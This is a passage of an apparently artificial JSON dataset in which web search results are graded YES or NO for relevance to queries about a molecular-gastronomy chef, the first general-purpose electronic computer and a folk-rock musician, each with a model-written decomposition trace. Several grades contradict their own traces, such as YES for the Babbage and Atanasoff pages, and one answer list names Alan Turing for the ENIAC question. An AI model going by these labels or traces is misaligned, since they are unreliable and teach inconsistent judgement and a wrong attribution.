soy sauce and spr ... CONTINUE\n\nPremium Kit Ultimate Kit\n\nelBulli in London!\n\nExperience elBulli at world's first exhibition about a chef and a restaurant \"elBulli: Ferran Adria and the Art of ... CONTINUE\n\nMini Air Bread with Iberian Bacon & Caviaroli\n\nMolecular gastronomy Chef Nandu Jubany delights us with incredible flavors and textures of Caviaroli olive oil cavi ... CONTINUE\n\nClear Canap\u00e9 \u2013 Asparagus, Miso Foam, Malt Crumble\n\n",
                "model_trace": "Query Decomposition:\n1. {renowned chef}: The document mentions Ferran Adri\u00e0, who is a renowned chef -> ([1], SATISFIED)\n2. {celebrated for pioneering molecular gastronomy}: The document explicitly mentions Ferran Adri\u00e0's contributions to molecular gastronomy -> ([1], SATISFIED)\n3. {innovative culinary techniques}: The document describes various innovative culinary techniques associated with Ferran Adri\u00e0, such as edible films and microwave sponge cakes -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Herv\u00e9 This - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Herv%C3%A9_This",
                "published_date": "2006-04-02",
                "text": "From Wikipedia, the free encyclopedia\n\nHerv\u00e9 This The chemist Herv\u00e9 This Born 5 June 1955 (age 67) Suresnes, Hauts-de-Seine Citizenship France Known for Molecular gastronomy Scientific career Fields Chemistry Institutions Institut National de la Recherche Agronomique \n Herv\u00e9 This (French: [\u025b\u0281ve tis]; born 5 June 1955 in Suresnes, Hauts-de-Seine, sometimes named Herv\u00e9 This-Benckhard, or Herv\u00e9 This vo Kientza) is a French physical chemist who works for the Institut National de la Recherche Agronomique at AgroParisTech, in Paris, France. His main area of scientific research is molecular gastronomy, that is the science of culinary phenomena (more precisely, looking for the mechanisms of phenomena occurring during culinary transformations).\n\nCareer[edit]\nWith the late Nicholas Kurti, he coined the scientific term \"Molecular and Physical Gastronomy\" in 1988, which he shortened to \"Molecular Gastronomy\" after Kurti's death in 1998. [1] Graduated from ESPCI Paris, [2] he obtained a Ph.D from the Pierre and Marie Curie University, under the title \"La gastronomie mol\u00e9culaire et physique\". [3] He has written many scientific publications, [4] as well as several books on the subject, which can be understood even by those who have little or no knowledge of chemistry, but so far only four have been translated into English. He also collaborates with the magazine Pour la Science, the aim of which is to present scientific concepts to the general public. Member of the Acad\u00e9mie d'agriculture de France since 2010, he is the president of the Section \"Human Food\" since 2011. In 2004, he was invited by the French Academy of sciences to create the Foundation \"Food Science & Culture\", of which he was appointed the Scientific Director. The same year, he was asked to create the Institute for Advanced Studies of Taste (\"Hautes Etudes du Go\u00fbt\") with the University of Reims Champagne Ardenne, of which he is the President of the Educational Program. In 2011, he was elected as a Consulting Professor of AgroParisTech, and he was also asked to cre",
                "model_trace": "Query Decomposition:\n1. {renowned chef}: The document mentions Herv\u00e9 This, but it does not clearly state that he is a chef. He is described as a chemist -> ([0], UNSURE)\n2. {celebrated for pioneering molecular gastronomy}: The document clearly states that Herv\u00e9 This is known for molecular gastronomy and coining the term \"Molecular Gastronomy\" -> ([1], SATISFIED)\n3. {innovative culinary techniques}: The document mentions his main area of scientific research is molecular gastronomy, which involves the science of culinary phenomena -> ([2], SATISFIED)\n\nAssessment: The document does not confirm that Herv\u00e9 This is a chef, but it does confirm that he is celebrated for pioneering molecular gastronomy and is involved in innovative culinary techniques. Since the key subcomponents related to molecular gastronomy and culinary techniques are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Albert Adri\u00e0 - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Albert_Adri%C3%A0",
                "published_date": "2019-02-18",
                "text": "From Wikipedia, the free encyclopedia\n\nIn this Catalan name, the first or paternal surname is Adri\u00e0 and the second or maternal family name is Acosta; both are generally joined by the conjunction \"i\".\n Albert Adri\u00e0 i Acosta Albert posing for Food Revolution Born October 20, 1969 (age 53) L'Hospitalet de Llobregat, Barcelona, Catalonia, Spain Education Apprenticeship Culinary career Cooking style Molecular gastronomy \n Rating(s)\n\nMichelin stars\n\nCurrent restaurant(s)\n\nTickets \nEnigma \nHoja Santa \nPakta \nBodega 1900\nNi\u00f1o Viejo\n\nPrevious restaurant(s)\n\nelBulli (Pastry Chef)\n\nAward(s) won \n The World's 50 Best 2015 Best Pastry Chef \u2013 elBulli [1]\n\nAlbert Adri\u00e0 i Acosta [a] (Catalan pronunciation: [\u0259l\u02c8\u03b2\u025b\u027et \u0259\u00f0\u027ei\u02c8a j \u0259\u02c8k\u0254st\u0259]; born 20 October 1969) is a Spanish chef. He is currently head chef of Tickets, a Michelin one-star restaurant in Barcelona and was formerly the head pastry chef of elBulli, in Roses on the Costa Brava. He was the lead of vanguard kitchen inspiring many chefs around the world and the main reason for elBulli's success[ citation needed ]. He has often collaborated with his brother, renowned chef Ferran Adri\u00e0.\n\nBiography[edit]\nAlbert Adri\u00e0's interest in cuisine first began thanks to his parents, Gin\u00e9s and Josefa, but it was his brother Ferran who inspired him to explore food as a career. In 1985, he left his studies to begin working at elBulli. After two years of apprenticeship, he started to focus his interest on p\u00e2tisserie. He completed his education in various p\u00e2tisseries alongside great pastry chefs such as Antoni Escrib\u00e0 and Francisco Torreblanca. In late 1998, he began working on a creativity workshop at the headquarters of Bullicatering. The Bullitaller consisted of a table, some books and two chairs, one for him and the other for Oriol Castro. The workshop quickly gained in importance for the creative development of elBulli, so it moved to a new location in the centre of Barcelona. Until 2008, Albert Adri\u00e0 worked as the director of the Bullitaller and was responsible for desserts at elBulli.\n In",
                "model_trace": "Query Decomposition:\n1. [Renowned chef]: The document clearly identifies Albert Adri\u00e0 as a renowned chef -> ([1], SATISFIED)\n2. [Celebrated for pioneering molecular gastronomy]: The document mentions that Albert Adri\u00e0's cooking style is molecular gastronomy, and he was a key figure at elBulli, which is famous for molecular gastronomy -> ([1], SATISFIED)\n3. [Innovative culinary techniques]: The document states that Albert Adri\u00e0 was responsible for the creative development of elBulli and led a creativity workshop, indicating his role in innovative culinary techniques -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "The History of Molecular Gastronomy - Mental Floss",
                "url": "https://www.mentalfloss.com/posts/molecular-gastronomy-food-history",
                "published_date": null,
                "text": "Molecular gastronomy is tricky to define. Nearly all food preparation\u00e2\u0080\u0094from frying eggs to pickling vegetables\u00e2\u0080\u0094involves transforming the molecules in an ingredient to a different state. Even the idea that molecular gastronomy uses scientific techniques doesn't apply to some of the cuisine's most famous dishes. It's easy to see the chemistry behind Ferran Adri\u00c3\u00a0's spherified olives, but Grant Achatz's abstract desserts lean more on art than science. In the latest episode of Food History, host Justin Dodd explores the complicated and controversial history of molecular gastronomy. If you've ever wondered why fine dining chefs embraced science in the kitchen, or where the term molecular gastronomy originated, check out the video below. You'll likely learn something new\u00e2\u0080\u0094even if you've dined at El Bulli during its heyday or experimented with agar-agar in your home kitchen. To stay up-to-date with new episodes of Food History, subscribe to our YouTube channel here.",
                "model_trace": "Query Decomposition:\n1. {Renowned chef celebrated for pioneering molecular gastronomy}: The document mentions Ferran Adri\u00e0 and Grant Achatz, who are both renowned chefs associated with molecular gastronomy -> ([1], SATISFIED)\n2. {Innovative culinary techniques}: The document references Ferran Adri\u00e0's spherified olives and Grant Achatz's abstract desserts, which are examples of innovative culinary techniques -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by identifying renowned chefs and their innovative techniques in molecular gastronomy. YES"
            },
            {
                "grade": "YES",
                "title": "The Biography of Chef Ferran Adria - The Spruce Eats",
                "url": "https://www.thespruceeats.com/biography-of-chef-ferran-adria-1664996",
                "published_date": null,
                "text": "Ferran Adria has been called the world's greatest chef. He is certainly one of the most creative.  Gourmet magazine referred to Adria as \"the Salvador Dali\u00ad of the kitchen\". His restaurant, El Bulli, was named the best restaurant in the world by the prestigious Restaurant magazine five times. After closing the restaurant in 2011, he has gone on to begin writing a culinary encyclopedia, launching the El Bulli Foundation, and collaborating on culinary projects. Without a doubt, Ferran Adria will hold a prominent place in culinary history.\n Childhood \nFerran Adria was born May 14, 1962, in L'Hospitalet de Llobregat in a suburb of Barcelona, Spain. Adria's early schooling took place in Barcelona and at the age of 14, he enrolled at the Instituto Verge de la Merci\u00a8 to study business administration. In 1980, at the age of 18, he left school out of boredom.\n Culinary Beginnings \nAdria began his culinary career in 1980 as a dishwasher. In need of money to vacation on the Mediterranean island of Ibiza, Adria took a job as a\u00a0dishwasher at a French restaurant in the Hotel Playafels in Castelldefels, Spain.\nIt was here that he learned the classic culinary techniques as the chef there introduced Adri\u00e0 to \"El Practico,\" the Spanish equivalent of Escoffier's \"Le Guide Culinaire.\" Adria eventually made it to Ibiza, working at the Club Cala Lena for four months in 1981 and 1982.\n Military Service \nHe returned to Barcelona and worked at a number of restaurants before finally landing a job at the celebrated Finisterre, where he became the\u00a0assistant chef. Adria left Finisterre to fulfill his compulsory military service. He was in the Spanish Navy stationed at the Naval Base of Cartagena. He was a member of the captain general's kitchen staff and eventually was in charge of a kitchen for the first time in his life.\n Adria Meets El Bulli \nAdria completed his service in August 1983. Soon after leaving the navy, he was given the chance to do a stage (tryout) at El Bulli in Roses, Spain. Apparently, the chef liked what he saw and Adria w",
                "model_trace": "Query Decomposition:\n1. {Renowned chef}: The document clearly mentions Ferran Adria, a renowned chef -> ([1], SATISFIED)\n2. {Celebrated for pioneering molecular gastronomy}: The document does not explicitly mention molecular gastronomy, but it does highlight Ferran Adria's reputation as one of the most creative chefs and his significant impact on the culinary world -> ([2], UNSURE)\n3. {Innovative culinary techniques}: The document discusses Adria's creativity and his influence on culinary techniques, suggesting his innovative approach -> ([2], SATISFIED)\n\nAssessment: The document clearly identifies Ferran Adria as a renowned chef and suggests his innovative culinary techniques, which aligns well with the user's intent. Although it does not explicitly mention molecular gastronomy, the context implies his pioneering role in culinary innovation. YES"
            },
            {
                "grade": "YES",
                "title": "Ferran Adria: Biography, Approach to Cooking and Awards",
                "url": "https://www.finedininglovers.com/people/ferran-adria",
                "published_date": null,
                "text": "Ferran Adri\u00e0 will forever be celebrated as a pioneer of molecular gastronomy. A serial experimenter, the Spanish chef\u2019s groundbreaking inventions such as culinary foam and spherification aimed to change the form of ingredients, while enhancing their flavour. But they also changed the entire culinary landscape at the turn of the 21st century.\nHis El Bulli restaurant was widely regarded as the best in the world for many years, winning a plethora of awards and titles, and since its closure in 2011, Adri\u00e0 has continued his research at the non-profit El Bulli Foundation in Barcelona. The Catalonian chef has been described as the Salvador Dali of Spanish gastronomy, and his highly scientific approach has often courted controversy. But as one of the greatest innovators in contemporary gastronomy, he remains one of the most influential chefs in the world.\nNever one to follow a conventional path, Adri\u00e0 dropped out of school at the age of 18 and began washing dishes in a hotel restaurant. He was called up to serve in the Spanish navy, where he naturally gravitated towards the kitchens. Upon leaving, he agreed to undertake an apprenticeship at a little French restaurant in the town of Roses on the Costa Brava. That restaurant was El Bulli. He rose through the ranks, and within three years he had become the head chef.\nEl Bulli was known for its solid classical French food and occasional forays into nouvelle cuisine territory. But Adri\u00e0 had other ideas. He began experimenting with techniques for preparing and presenting food that would eventually lead to a complete departure from traditional forms of cooking. The kitchen at El Bulli became part laboratory, and the restaurant would close for six-months each year to conduct its research. Adri\u00e0\u2019s \u2018technical-concept cuisine\u2019 was grounded in science, and it sent shockwaves through the restaurant world.\nSome of Adri\u00e0\u2019s most iconic dishes showcased the revolutionary techniques he had been experimenting with. His \u2018white bean espuma with sea urchins: the first foam\u2019 presented culinary",
                "model_trace": "Query Decomposition:\n1. {renowned chef celebrated for pioneering molecular gastronomy}: The document clearly identifies Ferran Adri\u00e0 as a pioneer of molecular gastronomy -> ([1], SATISFIED)\n2. {innovative culinary techniques}: The document details Adri\u00e0's innovative techniques such as culinary foam and spherification -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing detailed information about Ferran Adri\u00e0's pioneering role in molecular gastronomy and his innovative culinary techniques. YES"
            }
        ]
    },
    {
        "query": "Who is the pioneering computer scientist credited with developing the first general-purpose electronic computer?",
        "grid_pos": [
            1,
            8
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Person",
        "reasoning_trace": [
            "The answers to these queries are:\n1. El Greco\n2. Ferran Adri\u00e0\n3. Alan Turing\n4. Bob Dylan\n5. Jane Goodall"
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Charles Babbage | Biography, Computers, Inventions, & Facts",
                "url": "https://www.britannica.com/biography/Charles-Babbage",
                "published_date": "2023-03-28",
                "text": "Entertainment & Pop Culture \n Geography & Travel \n Health & Medicine \n Lifestyles & Social Issues \n Literature \n Philosophy & Religion \n Politics, Law & Government \n Science \n Sports & Recreation \n Technology \n Visual Arts \n World History\n\nOn This Day in History \n Quizzes \n Podcasts \n Dictionary \n Biographies \n Summaries \n Top Questions \n Infographics \n Demystified \n Lists \n #WTFact \n Companions \n Image Galleries \n Spotlight \n The Forum \n One Good Fact\n\nEntertainment & Pop Culture \n Geography & Travel \n Health & Medicine \n Lifestyles & Social Issues \n Literature \n Philosophy & Religion \n Politics, Law & Government \n Science \n Sports & Recreation \n Technology \n Visual Arts \n World History\n\nBritannica ExplainsIn these videos, Britannica explains a variety of topics and answers frequently asked questions. \n Britannica ClassicsCheck out these retro videos from Encyclopedia Britannica\u2019s archives. \n Demystified VideosIn Demystified, Britannica has all the answers to your burning questions. \n #WTFact VideosIn #WTFact Britannica shares some of the most bizarre facts we can find. \n This Time in HistoryIn these videos, find out what happened this month (or any month!) in history.\n\nStudent Portal Britannica is the ultimate student resource for key school subjects like history, government, literature, and more.\n COVID-19 Portal While this global health crisis continues to evolve, it can be useful to look to past pandemics to better understand how to respond today.\n 100 Women Britannica celebrates the centennial of the Nineteenth Amendment, highlighting suffragists and history-making politicians.\n Saving Earth Britannica Presents Earth\u2019s To-Do List for the 21st Century. Learn about the major environmental problems facing our planet and what can be done about them!\n SpaceNext50 Britannica presents SpaceNext50, From the race to the Moon to space stewardship, we explore a wide range of subjects that feed our curiosity about space!",
                "model_trace": "Query Decomposition:\n1. [pioneering computer scientist]: The document is about Charles Babbage, who is a pioneering computer scientist -> ([1], SATISFIED)\n2. [credited with developing the first general-purpose electronic computer]: The document does not mention the development of the first general-purpose electronic computer by Charles Babbage. The first general-purpose electronic computer is typically credited to John Presper Eckert and John Mauchly for the ENIAC -> ([0], UNSATISFIED).\n\nAssessment: The document satisfies the subcomponent about being a pioneering computer scientist but does not address the specific credit for developing the first general-purpose electronic computer. Therefore, it is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Charles Babbage (Dec. 1791 Oct. 1871)",
                "url": "http://www.charlesbabbage.net/",
                "published_date": null,
                "text": "Charles Babbage (Dec. 1791 \u0096 Oct. 1871)\n\nMathematician, philosopher and (proto-) computer scientist who \noriginated the idea of a programmable computer.\n\nBioraphy and Education\nCharles Babbage was born in London Dec. 26, 1791, St. Stephan day, in London. \nHe was son of Benjamin Babbage, a banking partner of the Praeds who owned the Bitton Estate in Teignmouth and Betsy Plumleigh Babbage. \nIt was about 1808 when the Babbage family decided to move into the old Rowdens house, located\n in East Teignmouth, and Benjamin Babbage became a warden of the nearby church of St. Michael.\n\nThe father of Charles was a rich man, so it was possible for Charles to receive instruction from several elite schools and teachers \nduring the course of his elementary education.\nHe was about eight when he had to move to a country school to recover from a dangerous \nfever. His parents sentenced that his \"brain was not to be taxed too much\"; Babbage wrote:\n \"this great idleness may have led to some of my childish reasonings.\"\n\nThen, he joined King Edward VI Grammar School in Totnes, South Devon, a \nthriving comprehensive school that's still operative today, \nbut his fragile health status forced him back to private teaching for a period. \nThen, he finally joined a 30-student closed number academy managed by Reverend Stephen Freeman.\n The academy had a big library, where Babbage used to study mathematics by himself, and learned to love it. \n He had two more personal tutors after leaving the academy. \n One was a clergyman of Cambridge, and about him Babbage said: \"I fear I did not derive from it all the advantages that I might have done.\".\n The other one was an Oxford tutor who teached Babbage \n the Classics, so that he could be accepted to Cambridge.\n\nBabbage arrived at Trinity College, Cambridge in October 1810. \nHe had a big culture - he knew Lagrange, Leibniz, Lacroix, Simpson... and he was seriously disappointed about the math programs available at Cambridge. \nSo he, with J.Herschel, G.Peacock, and other friends, decided to form the Analyti",
                "model_trace": "Query Decomposition:\n1. {pioneering computer scientist}: The document discusses Charles Babbage, who is a pioneering figure in the field of computer science -> ([1], SATISFIED)\n2. {credited with developing the first general-purpose electronic computer}: The document mentions that Charles Babbage originated the idea of a programmable computer, but does not specifically credit him with developing the first general-purpose electronic computer -> ([0], UNSURE)\n\nAssessment: The document provides relevant information about Charles Babbage as a pioneering computer scientist, but it does not address whether he is credited with developing the first general-purpose electronic computer. Since the second subcomponent is tagged [0], it should not affect the evaluation.\n\nGiven that the key subcomponent tagged [1] is SATISFIED, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "John V. Atanasoff",
                "url": "https://jva.cs.iastate.edu/jvabio.php",
                "published_date": "2011-01-01",
                "text": "JVA Biography\nJohn Vincent Atanasoff (JVA) was born on 4 October 1903 a few miles west of Hamilton, New York. His father was a Bulgarian immigrant named Ivan Atanasov. Ivan\u2019s name was changed to John Atanasoff by immigration officials at Ellis Island, when he arrived with an uncle in 1889.\nJVA\u2019s mother was Iva Lucena Purdy, an English teacher from upstate New York. She and John married in 1900, following John\u2019s graduation from Colgate College with a degree in philosophy. He got a job as an industrial engineer in New Jersey and they started their family. John took electrical engineering correspondence courses at night and on weekends to further his education. After JVA\u2019s birth in 1903, his father moved the family to Florida, accepting an electrical engineering position in a newly established town called Brewster, now an empty ghost town, but back then, the home of the phosphate mines of chemical conglomerate American Cyanamid. In Brewster, JVA completed grade school at a two room schoolhouse, and later attended middle and high school at an accelerated pace, graduating with his high school diploma at age 15.\nThroughout his developmental years, JVA exhibited the characteristics of an inventive personality, and was encouraged by his mother and father to exercise his wide interests in subjects ranging from crochet and British Literature to electrical circuits and the workings of farm machinery. He developed a fascination with calculating devices when his father gave him a slide rule, with which JVA used to solve simple math problems. Amazed at the precision achieved, he experimented with more complex equations and began studying logarithms, algebra, and differential calculus. His mother helped him to understand number bases other than base-10 and he eventually learned how to make calculatations using a variety of bases, including base-2, also known as binary math. This early exposure to different methods of calculation would later inform his work on the ABC.\nAs the first two decades of the 1900s are often considered t",
                "model_trace": "Query Decomposition:\n1. [pioneering computer scientist]: The document is about John V. Atanasoff, a computer scientist -> ([1], SATISFIED)\n2. [credited with developing the first general-purpose electronic computer]: The document does not explicitly state that John V. Atanasoff is credited with developing the first general-purpose electronic computer -> ([0], UNSURE)\n\nAssessment: The document provides detailed biographical information about John V. Atanasoff but does not clearly state that he is credited with developing the first general-purpose electronic computer. Since the key subcomponent related to the credit for developing the first general-purpose electronic computer is tagged [0] and is UNSURE, it does not affect the evaluation. The document is useful because it is about a pioneering computer scientist, which satisfies the relevant subcomponent. YES."
            },
            {
                "grade": "NO",
                "title": "eniac",
                "url": "https://en.wikipedia.org/wiki/ENIAC",
                "published_date": null,
                "text": "ENIAC      Pennsylvania Historical Marker         Four ENIAC panels and one of its three function tables, on display at the School of Engineering and Applied Science at the University of Pennsylvania    Location  University of Pennsylvania Department of Computer and Information Science, 3330 Walnut Street, Philadelphia, Pennsylvania, U.S.    Coordinates  39\u00b057\u203208\u2033N 75\u00b011\u203226\u2033W\ufeff / \ufeff39.9523\u00b0N 75.1906\u00b0W Coordinates: 39\u00b057\u203208\u2033N 75\u00b011\u203226\u2033W\ufeff / \ufeff39.9523\u00b0N 75.1906\u00b0W    Built/founded 1945    PHMC dedicated Thursday, June 15, 2000   \n      Glenn A. Beck (background) and Betty Snyder (foreground) program ENIAC in BRL building 328. (U.S. Army photo, c. 1947\u20131955)  \n ENIAC (; Electronic Numerical Integrator and Computer) [1]   [2]  was the first programmable, electronic, general-purpose digital computer, completed in 1945. [3]   [4]  There were other computers that had these features, but the ENIAC had all of them in one package. It was Turing-complete and able to solve \"a large class of numerical problems\" through reprogramming. [5]   [6] \n Although ENIAC was designed and primarily used to calculate artillery firing tables for the United States Army's Ballistic Research Laboratory (which later became a part of the Army Research Laboratory), [7]   [8]  its first program was a study of the feasibility of the thermonuclear weapon. [9]   [10] \n ENIAC was completed in 1945 and first put to work for practical purposes on December 10, 1945. [11] \n ENIAC was formally dedicated at the University of Pennsylvania on February 15, 1946, having cost $487,000 (equivalent to $6,200,000 in 2021), and called a \"Giant Brain\" by the press.[ citation needed ] It had a speed on the order of one thousand times faster than that of electro-mechanical machines; this computational power, coupled with general-purpose programmability, excited scientists and industrialists alike. The combination of speed and programmability allowed for thousands more calculations for problems. [12] \n ENIAC was formally accepted by the U.S. Army Ordnance Corps in July 1946",
                "model_trace": "Query Decomposition:\n1. [Pioneering computer scientist]: The document does not mention any individual computer scientist -> ([0], UNSATISFIED)\n2. [Credited with developing the first general-purpose electronic computer]: The document mentions ENIAC as the first general-purpose electronic computer but does not credit any specific individual for its development -> ([0], UNSATISFIED)\n\nAssessment: The document does not provide information about the pioneering computer scientist credited with developing the first general-purpose electronic computer. NO."
            },
            {
                "grade": "NO",
                "title": "ENIAC | History, Computer, Stands For, Machine, & Facts",
                "url": "https://www.britannica.com/technology/ENIAC",
                "published_date": null,
                "text": "Entertainment &amp; Pop Culture \n  Geography &amp; Travel \n  Health &amp; Medicine \n  Lifestyles &amp; Social Issues \n  Literature \n  Philosophy &amp; Religion \n  Politics, Law &amp; Government \n  Science \n  Sports &amp; Recreation \n  Technology \n  Visual Arts \n  World History \n \n \n  On This Day in History \n  Quizzes \n  Podcasts \n  Dictionary \n  Biographies \n  Summaries \n  Top Questions \n  Week In Review \n  Infographics \n  Demystified \n  Lists \n  #WTFact \n  Companions \n  Image Galleries \n  Spotlight \n  The Forum \n  One Good Fact \n \n \n  Entertainment &amp; Pop Culture \n  Geography &amp; Travel \n  Health &amp; Medicine \n  Lifestyles &amp; Social Issues \n  Literature \n  Philosophy &amp; Religion \n  Politics, Law &amp; Government \n  Science \n  Sports &amp; Recreation \n  Technology \n  Visual Arts \n  World History \n \n \n  Britannica ExplainsIn these videos, Britannica explains a variety of topics and answers frequently asked questions. \n  Britannica ClassicsCheck out these retro videos from Encyclopedia Britannica\u2019s archives. \n  Demystified VideosIn Demystified, Britannica has all the answers to your burning questions. \n  #WTFact VideosIn #WTFact Britannica shares some of the most bizarre facts we can find. \n  This Time in HistoryIn these videos, find out what happened this month (or any month!) in history. \n \n\t \n\t  Student Portal Britannica is the ultimate student resource for key school subjects like history, government, literature, and more.\n\t  COVID-19 Portal While this global health crisis continues to evolve, it can be useful to look to past pandemics to better understand how to respond today.\n\t  100 Women Britannica celebrates the centennial of the Nineteenth Amendment, highlighting suffragists and history-making politicians.\n\t  Saving Earth Britannica Presents Earth\u2019s To-Do List for the 21st Century. Learn about the major environmental problems facing our planet and what can be done about them!\n\t  SpaceNext50 Britannica presents SpaceNext50, From the race to the Moon to space stewardship, we explore a wide range",
                "model_trace": "Query Decomposition:\n1. {Pioneering computer scientist}: The query is asking for a specific individual credited with a major technological achievement -> ([0], UNSURE)\n2. {Developing the first general-purpose electronic computer}: The query specifies the development of the first general-purpose electronic computer, which is ENIAC -> ([1], SATISFIED)\n\nAssessment: The document is about ENIAC, the first general-purpose electronic computer, but it does not provide clear information about the pioneering computer scientist credited with its development. Since the subcomponent {Pioneering computer scientist} is tagged [0] and is UNSURE, it does not affect the evaluation. However, the document does not explicitly satisfy the user's intent to identify the specific individual.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "The world's first general purpose computer turns 75",
                "url": "https://penntoday.upenn.edu/news/worlds-first-general-purpose-computer-turns-75",
                "published_date": null,
                "text": "On Feb. 14, 1946, the world\u2019s first general purpose electronic computer was introduced to the world. The Electronic Numerical Integrator and Computer (ENIAC), constructed at the Moore School of Electrical Engineering (now Penn\u2019s School of Engineering and Applied Science), was touted as \u201can amazing machine which applies electronic speeds for the first time to mathematical tasks hitherto too difficult and cumbersome for solution.\u201d\nWhile the abilities of this \u201camazing machine\u201d have since been surpassed by 75 years of progress in electronics and computers, ENIAC\u2019s development was instrumental in sparking a revolution in computer science and electrical engineering that continues to this day. This lasting legacy is thanks in part to a team of women programmers who, despite their significant contributions to ENIAC\u2019s success, were only recently recognized for their efforts.\nTo mark ENIAC\u2019s 75th anniversary, Penn Today delves into the history of the world\u2019s first general purpose computer, the women \u201ccomputers\u201d who were instrumental to its success, and how ENIAC continues to shape technology and computer science to this day.\nThe early days of computing\nBefore ENIAC\u2019s time, \u201ccomputers\u201d referred to the people who worked on complex math equations. During World War II, computers relied on \u201cfunction tables,\u201d detailed information used to predict a shell\u2019s path using metrics like air density, temperature, and wind, to calculate one part of a ballistics equation that would then be completed by a team of computers.\n \n ENIAC on display at the Moore School Building in the School of Engineering and Applied Science.   \nStarting in the late 1920s, devices known as differential analyzers were developed to help automate the process of solving the differential equations used in ballistics calculations. These wheel-and-disc devices could perform integrations, and one such device was built and used in the Moore School building in the mid-1940s to compute artillery firing tables. The challenge, explains emeritus professor Mitch Marcus, is tha",
                "model_trace": "Query Decomposition:\n1. {pioneering computer scientist}: The document does not explicitly mention any individual pioneering computer scientist -> ([0], UNSURE)\n2. {credited with developing the first general-purpose electronic computer}: The document discusses the development of the ENIAC, but does not credit any specific individual for its development -> ([0], UNSURE)\n\nAssessment: The document provides detailed information about the ENIAC, the first general-purpose electronic computer, but it does not credit any specific pioneering computer scientist. Since the key subcomponents require specific information about the individual credited with developing the ENIAC, and this document does not provide that information, it is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "Which celebrated musician is recognized for blending traditional folk music with elements of rock and blues to create a distinctive sound?",
        "grid_pos": [
            1,
            8
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Person",
        "reasoning_trace": [
            "The answers to these queries are:\n1. El Greco\n2. Ferran Adri\u00e0\n3. Alan Turing\n4. Bob Dylan\n5. Jane Goodall"
        ],
        "results": [
            {
                "grade": "NO",
                "title": "John Lee Hooker | Official Store",
                "url": "https://johnleehooker.com/",
                "published_date": "2019-03-25",
                "text": "\u00a92020 CRAFT RECORDINGS A Part of Concord \u00a9 2020 John Lee Hooker Family Limited Partnership. All rights reserved. John Lee Hooker\u00ae is a registered trademark of the John Lee Hooker Family Partnership.",
                "model_trace": "Query Decomposition:\n1. {celebrated musician}: The document is about John Lee Hooker, who is a celebrated musician -> ([1], SATISFIED)\n2. {recognized for blending traditional folk music with elements of rock and blues to create a distinctive sound}: The document does not provide information about John Lee Hooker's musical style or his blending of traditional folk music with rock and blues -> ([0], UNSURE).\n\nAssessment: The relevant subcomponent is {celebrated musician}. Since the document does not provide enough information to evaluate the other subcomponent, it is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Robert Plant",
                "url": "https://www.robertplant.com/",
                "published_date": "2023-01-01",
                "text": "Cookie Settings You can choose which cookies you want to allow (except for strictly necessary cookies) across the site by adjusting the toggles below. Update your cookie preferences at any time by clicking the \"Cookies Settings\" link on any webpage, which will return you to this preference centre. Details of the vendors we use in processing cookie data are also included below. For more information, click \"Cookies Details\" below, see here and read our Cookies Policy Manage Consent Preferences Strictly Necessary Cookies Always Active These cookies are necessary for the website to function. They are usually only set in response to actions you take, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block these cookies, but some parts of the site will then not work. Performance Cookies Performance Cookies These cookies allow us to analyse site usage so we can measure and improve the performance of our site. This may include cookies from third party analytics services. These cookies collect aggregated data. If you do not allow these cookies, we will not receive data about your site visits and will not be able to make improvements based on this. Functional Cookies Functional Cookies These cookies enable the website to provide enhanced functionality and personalisation. They may be set by us or by third party providers. If you do not allow these cookies, some services may not function optimally. Targeting Cookies Targeting Cookies These cookies may be set by us or our advertising partners. They may be used to build profiles of your interests and show you relevant adverts on other sites. These cookies may share information with third parties. We also use social media plug-ins, social media tracking and cross-device tracking. If you do not allow these cookies, you will not be able to use social functionality and will experience less targeted advertising.",
                "model_trace": "Query Decomposition:\n1. {celebrated musician}: The document is about Robert Plant, who is a well-known musician -> ([1], SATISFIED)\n2. {recognized for blending traditional folk music with elements of rock and blues}: The document does not provide any information about Robert Plant's musical style or his blending of traditional folk music with rock and blues -> ([0], UNSURE)\n\nAssessment: The document does not provide sufficient information about Robert Plant's distinctive musical style, which is crucial for satisfying the query. NO."
            },
            {
                "grade": "NO",
                "title": "Robert Plant | Official Website",
                "url": "https://www.plantkrauss.com/",
                "published_date": "2021-01-01",
                "text": "High and Lonesome\n\nHear Robert Plant, Alison Krauss and T Bone Burnett in harmony on standout track \u201cHigh and Lonesome\u201d, backed by all-star lineup of drummer Jay Bellerose, bassist Dennis Crouch, guitarist Marc Ribot and pedal steel player Russell Pahl, plus Viktor Krauss on mellotron, Jeff Taylor on bass accordion, and T Bone Burnett on electric guitar, mellotron and additional vocals. \u201cHigh and Lonesome\u201d is the second preview of Raise The Roof, following lead single \u201cCan\u2019t Let Go\u201d, a rendition of the Randy Weeks/Lucinda Williams classic.\n The rest of Raise The Roof includes deep cuts by Merle Haggard, Allen Toussaint, The Everly Brothers, Anne Briggs, Geeshie Wiley, Bert Jansch, Calexico and more.\n\nSign Up\n\nThank you for signing up!\n\nBy submitting my information, I agree to receive personalized updates and marketing messages about Robert Plant based on my information, interests, activities, website visits and device data and in accordance with the Privacy Policy. I understand that I can opt-out at any time by emailing privacypolicy@wmg.com.",
